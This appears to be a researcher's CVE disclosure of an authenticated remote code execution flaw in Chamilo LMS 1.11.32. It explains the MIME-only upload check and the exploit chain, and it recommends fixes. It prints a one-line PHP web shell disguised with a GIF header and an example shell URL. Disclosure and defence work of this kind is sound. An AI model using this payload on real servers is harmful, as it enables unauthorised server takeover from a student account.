
Hi, I’m K, This is my first CVE, which is a Remote Code Execution (RCE) vulnerability. It is the beginning of my journey as a security researcher.
Authenticated Remote Code Execution in Chamilo LMS 1.11.32 via improper file upload validation in the
ck_uploadimageAJAX endpoint. A low-privileged student can upload a PHP web shell disguised as an image, achieving full server compromise.
| Field | Details |
|---|
| Product | Chamilo LMS |
| Version | 1.11.32 (Confirmed) |
| Vulnerability | Unrestricted File Upload with Dangerous Type (CWE-434) |
| Impact | Authenticated Remote Code Execution (RCE) |
| CVSS v3.1 | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Auth Required | ✅ Yes — Student role (Low Privilege) |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
| Discover By | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
Vulnerable File: main/inc/ajax/document.ajax.php
Vulnerable Function: ck_uploadimage
The upload handler performs only MIME-type validation using PHP's mime_content_type() function, which inspects the file's magic bytes (first few bytes of content), not the file extension.
// Vulnerable validation logic (simplified)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ No extension validation
// ❌ No sanitization of filename
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
Two separate weaknesses combine into a full exploitation chain:
GIF89a) to PHP code.php extension, in a web-accessible directoryA malicious file is crafted as follows:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() reads GIF89a → classifies as image/gif → passes validationmove_uploaded_file() saves as shell.php in /app/upload/users/<id>/ → directly executable via browserRun full exploit that log in as student to perform file upload automatically
After running python full exploit, we can find our uploaded web shell at http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id

Successful exploitation of this vulnerability results in full server compromise from a student-level account:
CIA Impact: Complete loss of Confidentiality, Integrity, and Availability.
▪ Enforce strict file extension allowlisting Only explicitly permitted image file extensions (e.g., .jpg, .png, .gif) should be accepted. Uploaded files with executable extensions such as .php, .phtml, or .phar must be rejected regardless of MIME type.
▪ Do not rely solely on MIME-type validation MIME-type checks using functions such as mime_content_type() should not be used as the primary security control, as they can be bypassed using crafted file headers. MIME validation should only be used as a secondary check.
▪ Store uploaded files outside of web-accessible directories Uploaded content should be stored in a directory that is not directly accessible via the web server. If public access is required, files should be served through a controlled handler rather than direct access.
MENG HOKSENG
Independent Security Researcher
This project is released for educational and authorized security research purposes only. The author is not responsible for any misuse or damage caused by this exploit. Always obtain explicit written authorization before performing security assessments.